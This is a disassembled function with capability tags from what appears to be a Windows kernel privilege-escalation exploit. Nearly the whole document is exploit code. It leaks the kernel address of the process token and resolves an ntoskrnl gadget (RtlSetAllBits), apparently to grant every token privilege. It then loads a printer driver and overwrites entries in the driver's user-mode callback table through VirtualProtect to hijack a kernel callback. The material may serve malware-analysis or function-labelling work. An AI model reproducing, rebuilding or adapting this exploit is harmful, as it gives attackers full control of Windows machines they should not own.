Function at 0x1400112b2
Capabilities:
Link many functions at runtime
Load ntoskrnl
Resolve ntoskrnl gadgets

Disassembly:
jmp 0x140012100
jmp 0x140011f10
push rbx
sub rsp, 0x20
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rbx, rax
test rax, rax
jne 0x140011f40
lea rcx, str.____Failed_to_load_NTDLL
call qword [sym.imp.ucrtbased.dll_puts]
xor eax, eax
add rsp, 0x20
pop rbx
ret
mov qword [rsp + 0x30], rsi
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
lea rdx, str.NtSetInformationThread
mov rcx, rbx
mov dword [0x14001b630], eax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtQuerySystemInformation
mov rcx, rbx
mov qword [0x14001b2c0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14001b2c8], rax
call fcn.14001100a
mov rsi, rax
test rax, rax
jne 0x140011fa6
lea rcx, str.____Failed_to_get_kernel_base
call qword [sym.imp.ucrtbased.dll_puts]
mov rsi, qword [rsp + 0x30]
xor eax, eax
add rsp, 0x20
pop rbx
ret
xor edx, edx
lea rcx, str.ntoskrnl.exe
lea r8d, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov rbx, rax
test rax, rax
jne 0x140011fdb
lea rcx, str.____Failed_to_load_kernel_module
call qword [sym.imp.ucrtbased.dll_puts]
mov rsi, qword [rsp + 0x30]
xor eax, eax
add rsp, 0x20
pop rbx
ret
mov qword [rsp + 0x38], rdi
call fcn.140011028
mov rdi, rax
test rax, rax
jne 0x14001200c
lea rcx, str.____Failed_to_get_token_kernel_address
call qword [sym.imp.ucrtbased.dll_puts]
mov rdi, qword [rsp + 0x38]
xor eax, eax
mov rsi, qword [rsp + 0x30]
add rsp, 0x20
pop rbx
ret
lea rdx, str.RtlSetAllBits
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
jne 0x140012040
lea rcx, str.____Failed_to_find_RtlSetAllBits
call qword [sym.imp.ucrtbased.dll_puts]
mov rdi, qword [rsp + 0x38]
xor eax, eax
mov rsi, qword [rsp + 0x30]
add rsp, 0x20
pop rbx
ret
sub rax, rbx
lea rcx, [rdi + 0x40]
add rax, rsi
mov qword [0x14001b2e8], rax
call fcn.1400111f9
mov qword [0x14001b628], rax
test rax, rax
jne 0x140012081
lea rcx, str.____Failed_to_pool_leak_address_of_token
call qword [sym.imp.ucrtbased.dll_puts]
mov rdi, qword [rsp + 0x38]
xor eax, eax
mov rsi, qword [rsp + 0x30]
add rsp, 0x20
pop rbx
ret
mov rdi, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x30]
add rsp, 0x20
pop rbx
jmp 0x1400111d1
push rbp
push rbx
lea rbp, [rsp - 0x4f]
sub rsp, 0x88
mov rax, qword [0x14001b170]
xor rax, rsp
mov qword [rbp + 0x37], rax
xor ebx, ebx
lea rax, [rbp + 0x27]
mov qword [rsp + 0x30], rax
xor r9d, r9d
lea rax, [rbp + 7]
xor edx, edx
mov qword [rsp + 0x28], rax
lea ecx, [rbx + 2]
mov dword [rsp + 0x20], ebx
lea r8d, [rbx + 4]
call fcn.1400111ea
mov eax, dword [rbp + 7]
test eax, eax
jne 0x140012161
lea rcx, str.____Failed_to_find_any_available_printers
call qword [sym.imp.ucrtbased.dll_puts]
xor eax, eax
jmp 0x1400123a1
mov rcx, rax
mov qword [rsp + 0x80], r15
call qword [sym.imp.ucrtbased.dll_malloc]
mov r15, rax
test rax, rax
jne 0x14001218e
lea rcx, str.____Failed_to_allocate_buffer_for_pPrinterEnum
call qword [sym.imp.ucrtbased.dll_puts]
xor eax, eax
jmp 0x140012399
xor edx, edx
lea rax, [rbp + 0x27]
mov qword [rsp + 0x30], rax
mov r9, r15
lea rax, [rbp + 7]
mov qword [rsp + 0x28], rax
mov eax, dword [rbp + 7]
lea ecx, [rdx + 2]
lea r8d, [rdx + 4]
mov dword [rsp + 0x20], eax
call fcn.1400111ea
test eax, eax
je 0x14001242e
mov eax, dword [rbp + 0x27]
test eax, eax
je 0x14001242e
mov qword [rsp + 0xa0], rsi
mov esi, ebx
mov qword [rsp + 0xa8], rdi
mov qword [rsp + 0xb0], r14
nop word [rax + rax]
mov eax, esi
lea rcx, [rax + rax*2]
mov rdx, qword [r15 + rcx*8]
lea rdi, [r15 + rcx*8]
lea rcx, str.___Using_printer:__ws_n
call fcn.1400111a9
mov rcx, qword [rdi]
lea rdx, [rbp + 0x1f]
xor r8d, r8d
call fcn.140011267
test eax, eax
jne 0x14001222f
lea rcx, str.____Failed_to_open_printer
call qword [sym.imp.ucrtbased.dll_puts]
jmp 0x140012374
mov rdx, qword [rdi]
lea rcx, str.___Opened_printer:__ws_n
call fcn.1400111a9
mov rcx, qword [rdi]
call qword [sym.imp.ucrtbased.dll__wcsdup]
mov rcx, qword [rbp + 0x1f]
xor r9d, r9d
mov qword [0x14001b2d0], rax
xor edx, edx
lea rax, [rbp + 7]
mov qword [rsp + 0x28], rax
lea r8d, [r9 + 2]
mov dword [rsp + 0x20], ebx
call fcn.140011316
mov ecx, dword [rbp + 7]
call qword [sym.imp.ucrtbased.dll_malloc]
mov ecx, dword [rbp + 7]
xor edx, edx
mov rdi, rax
lea rax, [rbp + 7]
mov qword [rsp + 0x28], rax
mov r9, rdi
mov dword [rsp + 0x20], ecx
mov rcx, qword [rbp + 0x1f]
lea r8d, [rdx + 2]
call fcn.140011316
test eax, eax
jne 0x1400122ab
lea rcx, str.____Failed_to_get_printer_driver_n
jmp 0x14001236f
mov rdx, qword [rdi + 0x18]
lea rcx, str.___Driver_DLL:__ws_n
call fcn.1400111a9
mov rcx, qword [rdi + 0x18]
xor edx, edx
lea r8d, [rdx + 8]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov rdi, rax
test rax, rax
jne 0x1400122df
lea rcx, str.____Failed_to_load_printer_driver_n
jmp 0x14001236f
lea rdx, str.DrvEnableDriver
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.DrvDisableDriver
mov rcx, rdi
mov r14, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
test r14, r14
je 0x140012368
test rax, rax
je 0x140012368
lea r8, [rbp + 0xf]
mov edx, 0x10
mov ecx, 0x20000
call r14
test eax, eax
jne 0x14001232d
lea rcx, str.____Failed_to_enable_driver_n
jmp 0x14001236f
lea rcx, str.___Enabled_printer_driver
call qword [sym.imp.ucrtbased.dll_puts]
mov edx, dword [rbp + 0x13]
lea r9, [rbp + 0x2b]
mov rcx, qword [rbp + 0x17]
mov r8d, 4
shl rdx, 3
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x1400123b7
lea rcx, str.____Failed_to_unprotect_printer_drivers_usermode_callback_table
call qword [sym.imp.ucrtbased.dll_puts]
jmp 0x140012374
lea rcx, str.____Failed_to_get_exported_functions_from_driver_n
call fcn.1400111a9
inc esi
cmp esi, dword [rbp + 0x27]
jb 0x1400121f0
xor eax, eax
mov r14, qword [rsp + 0xb0]
mov rdi, qword [rsp + 0xa8]
mov rsi, qword [rsp + 0xa0]
mov r15, qword [rsp + 0x80]
mov rcx, qword [rbp + 0x37]
xor rcx, rsp
call fcn.1400112bc
add rsp, 0x88
pop rbx
pop rbp
ret
mov edx, dword [rbp + 0x13]
test edx, edx
je 0x140012409
mov r9d, dword [0x14001b118]
mov r8, qword [rbp + 0x17]
nop dword [rax]
mov eax, ebx
add rax, rax
mov ecx, dword [r8 + rax*8]
cmp r9d, ecx
je 0x1400123e6
inc ebx
cmp ebx, edx
jb 0x1400123d0
jmp 0x140012409
mov edx, ebx
shl rdx, 4
add rdx, r8
lea r8, [0x14001b2f0]
mov rax, qword [rdx + 8]
mov qword [r8 + rcx*8], rax
mov rax, qword [0x14001b120]
mov qword [rdx + 8], rax
call rdi
mov edx, dword [rbp + 0x13]
lea r9, [rbp + 0x2f]
mov r8d, dword [rbp + 0x2b]
mov rcx, qword [rbp + 0x17]
shl rdx, 3
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, 1
jmp 0x140012381
lea rcx, str.____Failed_to_enumerate_printers
call qword [sym.imp.ucrtbased.dll_puts]
xor eax, eax
jmp 0x140012399